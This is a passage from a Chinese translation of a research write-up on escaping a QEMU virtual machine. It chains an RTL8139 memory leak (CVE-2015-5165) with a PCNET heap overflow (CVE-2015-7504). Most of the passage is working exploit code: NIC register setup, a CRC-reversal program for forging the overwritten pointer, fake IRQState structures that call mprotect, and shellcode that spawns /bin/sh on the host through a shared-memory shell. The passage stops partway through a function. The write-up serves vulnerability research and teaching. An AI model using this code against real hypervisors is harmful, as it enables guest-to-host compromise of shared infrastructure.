    0x00    |           MAC0            |            MAR0            |
            +---------------------------+----------------------------+
    0x10    |                       TxStatus0                        |
            +--------------------------------------------------------+
    0x20    |                        TxAddr0                         |
            +-------------------+-------+----------------------------+
    0x30    |        RxBuf      |ChipCmd|                            |
            +-------------+------+------+----------------------------+
    0x40    |   TxConfig  |  RxConfig   |            ...             |
            +-------------+-------------+----------------------------+
            |                                                        |
            |             skipping irrelevant registers              |
            |                                                        |
            +---------------------------+--+------+------------------+
    0xd0    |           ...             |  |TxPoll|      ...         |
            +-------+------+------------+--+------+--+---------------+
    0xe0    | CpCmd |  ... |RxRingAddrLO|RxRingAddrHI|    ...        |
            +-------+------+------------+------------+---------------+
            
  • TxConfig:启用/禁用 Tx 标志,例如 TxLoopBack(启用 loopback 测试模式)、TxCRC(不把 CRC 附加到 Tx 数据包后)等。
  • RxConfig:启用/禁用 Rx 标志,例如 AcceptBroadcast (接受广播数据包)、AcceptMulticast(接受组播数据包)等。
  • CpCmd:C+ 命令寄存器用来启用一些功能例如 CplusRxEnd(启用接收)、CplusTxEnd(启用发送)等。
  • TxAddr0:Tx 描述符表的物理内存地址。
  • RxRingAddrLO:Rx 描述符表的低 32 位物理内存地址。
  • RxRingAddrHI:Rx 描述符表的高 32 位物理内存地址。
  • TxPoll:告诉网卡检查 Tx 描述符。

Rx/Tx-descriptor 由下面的结构体定义,其中 buf_lo buf_hi 分别是 Tx/Rx 缓冲区的低 32 位和高 32 位物理内存地址。这些地址指向的缓冲区储存将被发送/接收的数据包,并且必须按页面大小对齐。变量 dw0 在缓冲区大小上编码额外的标志,例如 ownership 标志表示缓冲区是属于网卡还是属于驱动。

struct rtl8139_desc {
    uint32_t dw0;
    uint32_t dw1;
    uint32_t buf_lo;
    uint32_t buf_hi;
};

网卡通过in*() out*() 原语(在 sys/io.h )配置。我们需要有 CAP_SYS_RAWIO 特权去做这些。下面的代码片段配置网卡并设置一个单一的 Tx 描述符。

#define RTL8139_PORT        0xc000
#define RTL8139_BUFFER_SIZE 1500

struct rtl8139_desc desc;
void *rtl8139_tx_buffer;
uint32_t phy_mem;

rtl8139_tx_buffer = aligned_alloc(PAGE_SIZE, RTL8139_BUFFER_SIZE);
phy_mem = (uint32)gva_to_gpa(rtl8139_tx_buffer);

memset(&desc, 0, sizeof(struct rtl8139_desc));

desc->dw0 |= CP_TX_OWN | CP_TX_EOR | CP_TX_LS | CP_TX_LGSEN |
             CP_TX_IPCS | CP_TX_TCPCS;
desc->dw0 += RTL8139_BUFFER_SIZE;

desc.buf_lo = phy_mem;

iopl(3);

outl(TxLoopBack, RTL8139_PORT + TxConfig);
outl(AcceptMyPhys, RTL8139_PORT + RxConfig);

outw(CPlusRxEnb|CPlusTxEnb, RTL8139_PORT + CpCmd);
outb(CmdRxEnb|CmdTxEnb, RTL8139_PORT + ChipCmd);

outl(phy_mem, RTL8139_PORT + TxAddr0);
outl(0x0, RTL8139_PORT + TxAddr0 + 0x4);

3.3 - Exploit

完整的 exp(cve-2015-5165.c)在后面的 source code tarball 中。exp 在网卡上配置所需的寄存器并设置 Tx 和 Rx 缓冲区描述符。然后它伪造一个畸形的 IP 包发送到网卡的 MAC 地址。这允许我们访问配置的 Rx 缓冲区读取泄露的数据。当分析泄露的数据时,我们观察到存在多个函数指针。仔细查看发现这些函数指针都是同一 QEMU 内部结构体中的成员:

typedef struct ObjectProperty
{
    gchar *name;
    gchar *type;
    gchar *description;
    ObjectPropertyAccessor *get;
    ObjectPropertyAccessor *set;
    ObjectPropertyResolve *resolve;
    ObjectPropertyRelease *release;
    void *opaque;

    QTAILQ_ENTRY(ObjectProperty) node;
} ObjectProperty;

QEMU 遵循对象模型管理设备,内存区域,等等。在启动时,QEMU 创建多个对象并为其分配属性。例如,下面的调用添加一个 may-overlap 属性给内存区域对象。这个属性具有 getter 方法检索这个布尔属性

object_property_add_bool(OBJECT(mr), "may-overlap",
                         memory_region_get_may_overlap,
                         NULL, /* memory_region_set_may_overlap */
                         &error_abort);

RTL8139 网卡设备仿真器在堆上有 64KB 用于重组数据包。这个已分配的缓冲区很可能适合析构对象属性得到的空闲空间。

在我们的 exp 中,我们在泄露的内存中搜索已知的对象属性。准确的说,我们搜索 80 字节的内存块(被释放的 ObjectProperty 结构体的块大小),这里至少设置了一个函数指针(get, set, resolve or release)。尽管这些地址服从 ASLR,我们仍然可以猜到 .text 节的基地址。实际上,他们的页偏移是固定的(12 个最低有效位或虚拟地址未随机分配)。我们可以做一些运算获得某些有用的 QEMU 函数地址。我们也可以获得某些 LibC 函数地址,例如 PLT 中的 mprotect()system()

我们还注意到地址 PHY_MEM + 0x78 泄露多次,其中 PHY_MEM 是分配给客户机的物理地址的起始地址。

当前的 exp 搜索泄露的内存并尝试解决(一).text 段的基地址和(二)物理内存的基地址。

4 - Heap-based Overflow Exploitation

本节讨论了漏洞 CVE-2015-7504 并提供一个可以控制 %rip 寄存器的 exp。

4.1 - The vulnerable Code

AMD PCNET 网卡仿真器在 loopback test mode 模式接收到大数据包时易受到 heap-based overflow 攻击。

PCNET 设备仿真器有一个 4KB 的缓冲区储存数据包。如果 ADDFCS 标志在 Tx 描述符缓冲区上开启,网卡将在接收到的数据包后附上 CRC,如下,hw/net/pcnet.c 中的 pcnet_receive() 函数代码片段。如果接收到的数据包大小小于 4096 - 4 字节,这不会造成问题。然而,如果数据包恰好有 4096 字节,我可以溢出 4 字节到目标缓冲区。

uint8_t *src = s->buffer;

/* ... */

if (!s->looptest) {
    memcpy(src, buf, size);
    /* no need to compute the CRC */
    src[size] = 0;
    src[size + 1] = 0;
    src[size + 2] = 0;
    src[size + 3] = 0;
    size += 4;
} else if (s->looptest == PCNET_LOOPTEST_CRC ||
           !CSR_DXMTFCS(s) || size < MIN_BUF_SIZE+4) {
    uint32_t fcs = ~0;
    uint8_t *p = src;

    while (p != &src[size])
        CRC(fcs, *p++);
    *(uint32_t *)p = htonl(fcs);
    size += 4;
}

在上面的代码中,s 指向 PCNET 主结构体,我们可以看到在易受攻击的缓冲区之外,我们可以破坏 irq 变量的值。

struct PCNetState_st {
    NICState *nic;
    NICConf conf;
    QEMUTimer *poll_timer;
    int rap, isr, lnkst;
    uint32_t rdra, tdra;
    uint8_t prom[16];
    uint16_t csr[128];
    uint16_t bcr[32];
    int xmit_pos;
    uint64_t timer;
    MemoryRegion mmio;
    uint8_t buffer[4096];
    qemu_irq irq;
    void (*phys_mem_read)(void *dma_opaque, hwaddr addr,
                          uint8_t *buf, int len, int do_bswap);
    void (*phys_mem_write)(void *dma_opaque, hwaddr addr,
                           uint8_t *buf, int len, int do_bswap);
    void *dma_opaque;
    int tx_busy;
    int looptest;
};

变量 irq 是指向 IRQState 结构体的指针,相当于指向一个可执行 handler:

typedef void (*qemu_irq_handler)(void *opaque, int n, int level);

struct IRQState {
    Object parent_obj;
    qemu_irq_handler handler;
    void *opaque;
    int n;
};

这个 handler 被 PCNET 网卡仿真器调用多次。例如,在 pcnet_receive() 函数的结尾,调用 pcnet_update_irq() 函数(原文:is call a to,可能是 is a call to),其中循环调用 qemu_set_irq():

void qemu_set_irq(qemu_irq irq, int level)
{
    if (!irq)
        return;

    irq->handler(irq->opaque, irq->n, level);
}

所以,我们利用这个漏洞需要什么:

  • 分配一个带有可执行 handler(例如 system())的伪造的 IRQState 结构体。
  • 计算分配的伪造结构体的精确地址。幸好有之前的内存泄露,我们知道伪造的结构体在 QEMU 进程内存中(在客户机物理内存基地址的某个偏移)。
  • 精心构造一个 4KB 恶意数据包。
  • 修改数据包,使计算得到的 CRC 恰好是我们伪造的 IRQState 地址。
  • 发送数据包

当这个数据包被 PCNET 网卡接收,它被 pcnet_receive() 函数(原文:pcnet_receive function(),可能是 pcnet_receive() function)处理,执行以下 操作:

  • 将接收到的数据包内容复制到缓冲区变量中。
  • 计算 CRC 并把它附在缓冲区后,缓冲区有 4 字节溢出,irq 变量的值被破坏。
  • 调用 pcnet_update_irq(),带着被破坏的 irq 变量循环调用 qemu_set_irq(),接下来执行我们的 handler(原文:Out handler,可能是 Our handler)。

注意我们可以控制被替代的 handler 的前两个参数(irq->opaqueirq->n),但幸好有一个我们后面将会看到的 trick,我们也可以控制第三个参数(level 参数 )。这是调用 mprotect() 函数必须的。

还要注意我们用 4 字节破坏了一个 8 字节指针。在我们的测试环境是足够成功控制 %rip 寄存器的。然而在编译时没有 CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE 标志的内核上会出问题,这个问题在 5.4 节讨论。

4.2 - Setting up the Card

在进一步研究之前,我们需要配置 PCNET 网卡来配置所需的标志,配置 Tx 和 Rx 描述符缓冲区,分配环形缓冲区储存接收发送的数据包。

AMD PCNET 网卡可以在 16 位模式或 32 位模式进行访问。这依赖于当前 DWI0 的值(值储存在网卡中)。接下来,我们详细介绍 PCNET 网卡在 16 位模式中的主要寄存器,因为这是网卡重置后的默认模式:

            0                                  16
            +----------------------------------+
            |              EPROM               |
            +----------------------------------+
            |      RDP - Data reg for CSR      |
            +----------------------------------+
            | RAP - Index reg for CSR and BCR  |
            +----------------------------------+
            |           Reset reg              |
            +----------------------------------+
            |      BDP - Data reg for BCR      |
            +----------------------------------+

通过访问 reset 寄存器可以将网卡重置为默认值。

网卡有两类内部寄存器:CSR(控制和状态寄存器)和 BCR(总线控制寄存器)。访问这两个寄存器都需要先在 RAP(寄存器地址端口) 设置我们想要访问的寄存器索引。例如,如果我们想初始化并重启网卡,我们需要把 CSR0 寄存器的 bit0 和 bit1 设为1。我们可以通过向 RAP 寄存器写 0 选择 CSR0 寄存器,然后把 CSR 寄存器设为 0x3:

outw(0x0, PCNET_PORT + RAP);
outw(0x3, PCNET_PORT + RDP);

网卡的配置可以通过填充初始化结构并将此结构的物理地址传送给网卡(通过寄存器CSR1和CSR2)来完成。

struct pcnet_config {
    uint16_t  mode;      /* working mode: promiscusous, looptest, etc. */
    uint8_t   rlen;      /* number of rx descriptors in log2 base */
    uint8_t   tlen;      /* number of tx descriptors in log2 base */
    uint8_t   mac[6];    /* mac address */
    uint16_t _reserved;
    uint8_t   ladr[8];   /* logical address filter */
    uint32_t  rx_desc;   /* physical address of rx descriptor buffer */
    uint32_t  tx_desc;   /* physical address of tx descriptor buffer */
};

4.3 - Reversing CRC

像前面所说的一样,我们需要用数据填充数据包使计算出来的 CRC 恰好是我们伪造的结构体的地址。幸运的是,CRC 是可逆的,幸好有 [6] 提出的方法,我们只需要在数据包打 4 字节补丁就可以使计算得出的 CRC 恰好是我们选择的任何值。源码 reverse-crc.c,求出一个事先填充缓冲区的 4 字节补丁,使计算得出的 CRC 等于 0xdeadbeef。

---[ reverse-crc.c ]---
#include <stdio.h>
#include <stdint.h>

#define CRC(crc, ch)	 (crc = (crc >> 8) ^ crctab[(crc ^ (ch)) & 0xff])

/* generated using the AUTODIN II polynomial
 *	x^32 + x^26 + x^23 + x^22 + x^16 +
 *	x^12 + x^11 + x^10 + x^8 + x^7 + x^5 + x^4 + x^2 + x^1 + 1
 */
static const uint32_t crctab[256] = {
	0x00000000, 0x77073096, 0xee0e612c, 0x990951ba,
	0x076dc419, 0x706af48f, 0xe963a535, 0x9e6495a3,
	0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988,
	0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91,
	0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de,
	0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7,
	0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec,
	0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5,
	0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172,
	0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b,
	0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940,
	0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59,
	0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116,
	0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f,
	0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924,
	0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d,
	0x76dc4190, 0x01db7106, 0x98d220bc, 0xefd5102a,
	0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433,
	0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818,
	0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01,
	0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e,
	0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457,
	0x65b0d9c6, 0x12b7e950, 0x8bbeb8ea, 0xfcb9887c,
	0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65,
	0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2,
	0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb,
	0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0,
	0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9,
	0x5005713c, 0x270241aa, 0xbe0b1010, 0xc90c2086,
	0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f,
	0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4,
	0x59b33d17, 0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad,
	0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a,
	0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683,
	0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8,
	0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1,
	0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe,
	0xf762575d, 0x806567cb, 0x196c3671, 0x6e6b06e7,
	0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc,
	0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5,
	0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252,
	0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b,
	0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60,
	0xdf60efc3, 0xa867df55, 0x316e8eef, 0x4669be79,
	0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236,
	0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f,
	0xc5ba3bbe, 0xb2bd0b28, 0x2bb45a92, 0x5cb36a04,
	0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d,
	0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a,
	0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713,
	0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38,
	0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21,
	0x86d3d2d4, 0xf1d4e242, 0x68ddb3f8, 0x1fda836e,
	0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777,
	0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c,
	0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45,
	0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2,
	0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db,
	0xaed16a4a, 0xd9d65adc, 0x40df0b66, 0x37d83bf0,
	0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9,
	0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6,
	0xbad03605, 0xcdd70693, 0x54de5729, 0x23d967bf,
	0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94,
	0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d,
};

uint32_t crc_compute(uint8_t *buffer, size_t size)
{
	uint32_t fcs = ~0;
	uint8_t *p = buffer;

	while (p != &buffer[size])
		CRC(fcs, *p++);

	return fcs;
}

uint32_t crc_reverse(uint32_t current, uint32_t target)
{
	size_t i = 0, j;
	uint8_t *ptr;
	uint32_t workspace[2] = { current, target };
	for (i = 0; i < 2; i++)
		workspace[i] &= (uint32_t)~0;
	ptr = (uint8_t *)(workspace + 1);
	for (i = 0; i < 4; i++) {
		j = 0;
		while(crctab[j] >> 24 != *(ptr + 3 - i)) j++;
		*((uint32_t *)(ptr - i)) ^= crctab[j];
		*(ptr - i - 1) ^= j;
	}
	return *(uint32_t *)(ptr - 4);
}


int main()
{
	uint32_t fcs;
	uint32_t buffer[2] = { 0xcafecafe };
	uint8_t *ptr = (uint8_t *)buffer;

	fcs = crc_compute(ptr, 4);
	printf("[+] current crc = %010p, required crc = \n", fcs);

	fcs = crc_reverse(fcs, 0xdeadbeef);
	printf("[+] applying patch = %010p\n", fcs);
	buffer[1] = fcs;

	fcs = crc_compute(ptr, 8);
	if (fcs == 0xdeadbeef)
		printf("[+] crc patched successfully\n");
}

4.4 - Exploit

exp(附件源码 tarball 的 cve-2015-7504.c 文件)将网卡重置为默认设置,然后配置 Tx 和 Rx 描述符并设置所需的标志,最后初始化并重启网卡使配置生效。

exp 剩下的部分只是用一个数据包触发了漏洞,造成 QEMU 崩溃。如下所示,带有指向 0x7f66deadbeef 的已损坏 irq 变量的qemu_set_irq 被调用。因为这个地址没有可执行的 handler,QEMU 崩溃。

(gdb) shell ps -e | grep qemu
 8335 pts/4    00:00:03 qemu-system-x86
(gdb) attach 8335
...
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x00007f669ce6c363 in qemu_set_irq (irq=0x7f66deadbeef, level=0)
43	    irq->handler(irq->opaque, irq->n, level);

5 - Putting all Together

在本节中,我们合并了前两个 exp 以便从虚拟机中逃逸并以 QEMU 的权限在主机执行代码。首先,我们利用 CVE-2015-5165 重现 QEMU 内存布局。准确的说,这个 exp 尝试获得下面的地址来绕过 ASLR:

  • 客户机物理内存基地址。在我们的 exp 中,我们需要在客户机中做一些内存分配并获得他们在 QEMU 虚拟地址空间中的精确地址。
  • .text 节的基地址。这用来获得 qemu_set_irq() 函数的地址。
  • .plt 节的基地址。这用来确定一些例如 fork()execv()的函数地址来构造我们的 shellcode。mprotect() 的地址也是必须的,用于改变客户机物理地址的权限。记住分配给客户机的物理地址是不可执行的。

5.1 - RIP Control

在第四节中我们已经控制了 %rip 寄存器。我们不让 QEMU 随便在一个地址崩溃,而是用一个伪造的 IRQState 结构体的地址来覆盖 PCNET 缓冲区,这样可以执行我们选择的函数。

初 见 时,我们可能尝试构造一个 IRQState 调用 system()。然而,这个调用将会失败,因为一些 QEMU 内存映射没有被 fork() 继承,准确的说,maap 的物理内存有 MADV_DONTFORK 标志:

qemu_madvise(new_block->host, new_block->max_length, QEMU_MADV_DONTFORK);

调用 execv() 也是没用的,因为我们失去了客户机的控制权。

还要注意,可以通过连接几个 IRQState 构造 shellcode,以便调用多个函数,因为 qemu_set_irq() 被 PCNET 设备仿真器调用多次。然而,我们发现在启用 shellcode 所处的页内存的 PROT_EXEC 标志后,执行 shellcode 更加方便可靠。

我们的想法是构造两个 IRQState 结构体。第一个用于调用 mprotect(),第二个用于调用 shellcode,shellcode 首先取消第一个的 MADV_DONTFORK 标志,然后在客户机和主机之间运行一个交互式的 shell。

如前所述,当 qemu_set_irq() 被调用,它使用两个参数作为输入:irq(指向 IRQstate 结构体的指针)和 level(IRQ level),然后像下面这样调用 handler:

void qemu_set_irq(qemu_irq irq, int level)
{
    if (!irq)
        return;

    irq->handler(irq->opaque, irq->n, level);
}

如上所属,我们只控制了前两个参数。那么如何调用有三个参数的 mprotect()

为了解决这个问题,我们将使 qemu_set_irq() 先用以下参数调用自身:

  • irq :指向伪造的 IRQState 的指针,设置 handler 指针为 mprotect() 函数。
  • level:mprotect 标志设置为:PROT_READ PROT_WRITE PROT_EXEC

这是通过设置两个伪造的 IRQState 结构体实现的,代码片段如下:

struct IRQState {
    uint8_t  _nothing[44];
    uint64_t  handler;
    uint64_t  arg_1;
    int32_t   arg_2;
};

struct IRQState  fake_irq[2];
hptr_t fake_irq_mem = gva_to_hva(fake_irq);

/* do qemu_set_irq */
fake_irq[0].handler = qemu_set_irq_addr;
fake_irq[0].arg_1 = fake_irq_mem + sizeof(struct IRQState);
fake_irq[0].arg_2 = PROT_READ | PROT_WRITE | PROT_EXEC;

/* do mprotect */
fake_irq[1].handler = mprotec_addrt;
fake_irq[1].arg_1 = (fake_irq_mem >> PAGE_SHIFT) << PAGE_SHIFT;
fake_irq[1].arg_2 = PAGE_SIZE;

溢出发生后,调用 qemu_set_irq() 时有一个伪造的 handler 指针,只是再次调用 qemu_set_irq(),在循环调用中将 level 参数调整为 7(mprotect 需要的)时调用 mprotect。

现在内存是可执行的,我们可以通过重写第一个 IRQState 的handler 为 shellcode 的地址把控制权交给我们的交互式 shell。

payload.fake_irq[0].handler = shellcode_addr;
payload.fake_irq[0].arg_1 = shellcode_data;

5.2 - Interactive Shell

👴(Well),我们可以简单的写一个基础的 shellcode,绑定在 netcat 的某个端口上,然后通过其他机器连接这个 shell。这是一个令人满意的解决方案,但我们如果可以避免防火墙限制会更好。我们可以利用客户机和主机之间的共享内存来构造一个 bindshell。

利用 QEMU 漏洞有一些巧妙,我们在客户机编写的代码在 QEMU 进程内存中已经是可用的。所以不必再注入 shellcode。更好的是,我们可以共享代码,使他在客户机上运行并攻击主机。

下图总结了共享内存和主机、客户机上的进程/线程。

我们创建两个共享的环形缓冲区(in 和 out)并提供通过自旋锁访问这些共享内存区域的读/写原语。在主机上,我们运行一个 shellcode 复制一个单独进程的 stdin 和 stdout 文件描述符,然后在它上面开启一个 /bin/sh shell。我们还创建了两个线程。第一个从共享内存中读取命令然后通过一个管道传给 shell,第二个读取 shell 的输出(通过第二个管道)然后把它们写入共享内存。

这两个线程也在客户机中实现,分别用于在专用的共享内存中写用户输入的命令,输出从第二个环形缓冲区读取的结果到 stdout。

注意在我们的 exp中有第三个线程(和一个专用的共享区域)处理 stderr 输出。

     GUEST                   SHARED MEMORY                  HOST
     -----                   -------------                  ----
 +------------+                                         +------------+
 |  exploit   |                                         |    QEMU    |
 |  (thread)  |                                         |   (main)   |
 +------------+                                         +------------+

 +------------+                                         +------------+
 |  exploit   | sm_write()             head   sm_read() |    QEMU    |
 |  (thread)  |----------+               |--------------|  (thread)  |
 +------------+          |               V              +---------++-+
                         |  xxxxxxxxxxxxxx----+          pipe IN  ||
                         |  x                 |         +---------++-+
                         |  x   ring buffer   |         |    shell   |
                tail ------>x (filled with x) ^         | fork proc. |
                            |                 |         +---------++-+
                            +-------->--------+          pipe OUT ||
 +------------+                                         +---------++-+
 |  exploit   | sm_read()              tail  sm_write() |    QEMU    |
 |  (thread)  |----------+               |--------------|  (thread)  |
 +------------+          |               V              +------------+
                         |  xxxxxxxxxxxxxx----+
                         |  x                 |
                         |  x   ring buffer   |
                head ------>x (filled with x) ^
                            |                 |
                            +-------->--------+

5.3 - VM-Escape Exploit

在本节中,我们概述了完整 exp(vm-escape.c)中用到的主要结构体和函数。

注入的 payload 由下面的结构体定义:

struct payload {
	struct IRQState    fake_irq[2];
	struct shared_data shared_data;
	uint8_t            shellcode[1024];
	uint8_t            pipe_fd2r[1024];
	uint8_t            pipe_r2fd[1024];
};

其中 fake_irq 是一对负责调用 mprotect() 并更改 payload 所在页面权限的 IRQState 结构体。

结构体 shared_data 用于传递参数给主要的 shellcode:

struct shared_data {
	struct GOT       got;
	uint8_t          shell[64];
	hptr_t           addr;
	struct shared_io shared_io;
	volatile int     done;
};

其中 got 结构体充当全局偏移表,它包含 shellcode 运行的主要函数地址。这些函数地址可以通过内存泄露得到。

struct GOT {
	typeof(open)           *open;
	typeof(close)          *close;
	typeof(read)           *read;
	typeof(write)          *write;
	typeof(dup2)           *dup2;
	typeof(pipe)           *pipe;
	typeof(fork)           *fork;
	typeof(execv)          *execv;
	typeof(malloc)         *malloc;
	typeof(madvise)        *madvise;
	typeof(pthread_create) *pthread_create;
	typeof(pipe_r2fd)      *pipe_r2fd;
	typeof(pipe_fd2r)      *pipe_fd2r;
};

主要的 shellcode 由下面的函数定义:

* main code to run after %rip control */
void shellcode(struct shared_data *shared_data)
{
	pthread_t t_in, t_out, t_err;
	int in_fds[2], out_fds[2], err_fds[2];
	struct brwpipe *in, *out, *err;
	char *args[2] = { shared_data->shell, NULL };

	if (shared_data->done) {
		return;
	}

	shared_data->got.madvise((uint64_t *)shared_data->addr,
	                         PHY_RAM, MADV_DOFORK);

	shared_data->got.pipe(in_fds);
	shared_data->got.pipe(out_fds);
	shared_data->got.pipe(err_fds);

	in = shared_data->got.malloc(sizeof(struct brwpipe));
	out = shared_data->got.malloc(sizeof(struct brwpipe));
	err = shared_data->got.malloc(sizeof(struct brwpipe));

	in->got = &shared_data->got;
	out->got = &shared_data->got;
	err->got = &shared_data->got;

	in->fd = in_fds[1];
	out->fd = out_fds[0];
	err->fd = err_fds[0];

	in->ring = &shared_data->shared_io.in;
	out->ring = &shared_data->shared_io.out;
	err->ring = &shared_data->shared_io.err;

	if (shared_data->got.fork() == 0) {
		shared_data->got.close(in_fds[1]);
		shared_data->got.close(out_fds[0]);
		shared_data->got.close(err_fds[0]);
		shared_data->got.dup2(in_fds[0], 0);
		shared_data->got.dup2(out_fds[1], 1);
		shared_data->got.dup2(err_fds[1], 2);
		shared_data->got.execv(shared_data->shell, args);
	}
	else {
		shared_data->got.close(in_fds[0]);
		shared_data->got.close(out_fds[1]);
		shared_data->got.close(err_fds[1]);

		shared_data->got.pthread_create(&t_in, NULL,
		                                shared_data->got.pipe_r2fd, in);
		shared_data->got.pthread_create(&t_out, NULL,
		                                shared_data->got.pipe_fd2r, out);
		shared_data->got.pthread_create(&t_err, NULL,
		                                shared_data->got.pipe_fd2r, err);

		shared_data->done = 1;
	}
}

shellcode 首先检查 shared_data->done 标志避免多次运行 shellcode(记住把控制权交给 shellcode 的 qemu_set_irq used 被 QEMU 代码调用多次)。

shellcode 调用 madvise()shared_data->addr 指向物理内存。取消 MADV_DONTFORK 标志是必要的,可以在 fork()调用之间保留内存映射。

shellcode 创建一个子进程,用于启动一个 shell(/bin/sh)。母进程(parent process)启动多个线程去使用共享内存区域,从客户机传递 shell 到被攻击的主机,并把命令的结果写会客户机上。母进程和子进程的通信由管道实现。

如下所示,共享内存区域由一个可被 sm_read()sm_write() 原语访问的环形缓冲区构成:

struct shared_ring_buf {
	volatile bool lock;
	bool          empty;
	uint8_t       head;
	uint8_t       tail;
	uint8_t       buf[SHARED_BUFFER_SIZE];
};

static inline
__attribute__((always_inline))
ssize_t sm_read(struct GOT *got, struct shared_ring_buf *ring,
                char *out, ssize_t len)
{
	ssize_t read = 0, available = 0;

	do {
		/* spin lock */
		while (__atomic_test_and_set(&ring->lock, __ATOMIC_RELAXED));

		if (ring->head > ring->tail) { // loop on ring
			available = SHARED_BUFFER_SIZE - ring->head;
		} else {
			available = ring->tail - ring->head;
			if (available == 0 && !ring->empty) {
				available = SHARED_BUFFER_SIZE - ring->head;
			}
		}
		available = MIN(len - read, available);

		imemcpy(out, ring->buf + ring->head, available);
		read += available;
		out += available;
		ring->head += available;

		if (ring->head == SHARED_BUFFER_SIZE)
			ring->head = 0;

		if (available != 0 && ring->head == ring->tail)
			ring->empty = true;

		__atomic_clear(&ring->lock, __ATOMIC_RELAXED);
	} while (available != 0 || read == 0);

	return read;
}

static inline
__attribute__((always_inline))
ssize_t sm_write(struct GOT *got, struct shared_ring_buf *ring,
                 char *in, ssize_t len)
{
	ssize_t written = 0, available = 0;

	do {
		/* spin lock */
		while (__atomic_test_and_set(&ring->lock, __ATOMIC_RELAXED));

		if (ring->tail > ring->head) { // loop on ring
			available = SHARED_BUFFER_SIZE - ring->tail;
		} else {
			available = ring->head - ring->tail;
			if (available == 0 && ring->empty) {
				available = SHARED_BUFFER_SIZE - ring->tail;
			}
		}
		available = MIN(len - written, available);

		imemcpy(ring->buf + ring->tail, in, available);
		written += available;
		in += available;
		ring->tail += available;

		if (ring->tail == SHARED_BUFFER_SIZE)
			ring->tail = 0;

		if (available != 0)
			ring->empty = false;

		__atomic_clear(&ring->lock, __ATOMIC_RELAXED);
	} while (written != len);

	return written;
}

以下线程函数使用这些原语。第一个从共享内存区域读取数据并写到一个文件描述符中。第二个从一个文件描述符中读取数据并写到共享内存区域中。

void *pipe_r2fd(void *_brwpipe)
{
	struct brwpipe *brwpipe = (struct brwpipe *)_brwpipe;
	char buf[SHARED_BUFFER_SIZE];
	ssize_t len;

	while (true) {
		len = sm_read(brwpipe->got, brwpipe->ring, buf, sizeof(buf));
		if (len > 0)
			brwpipe->got->write(brwpipe->fd, buf, len);
	}

	return NULL;
} SHELLCODE(pipe_r2fd)

void *pipe_fd2r(void *_brwpipe)
{
	struct brwpipe *brwpipe = (struct brwpipe *)_brwpipe;
	char buf[SHARED_BUFFER_SIZE];
	ssize_t len;

	while (true) {
		len = brwpipe->got->read(brwpipe->fd, buf, sizeof(buf));
		if (len < 0) {
			return NULL;
		} else if (len > 0) {
			len = sm_write(brwpipe->got, brwpipe->ring, buf, len);
		}
	}

	return NULL;
}

注意这些函数的代码在主机和客户机之间是共享的。这些线程也在客户机中实现,用于读取用户输入的命令并把它们拷贝到专用的共享内存区域(在内存中),并写回这些命令在相应共享内存区域中可获得的输出(out 和 err 共享内存):

void session(struct shared_io *shared_io)
{
	size_t len;
	pthread_t t_in, t_out, t_err;
	struct GOT got;
	struct brwpipe *in, *out, *err;

	got.read = &read;
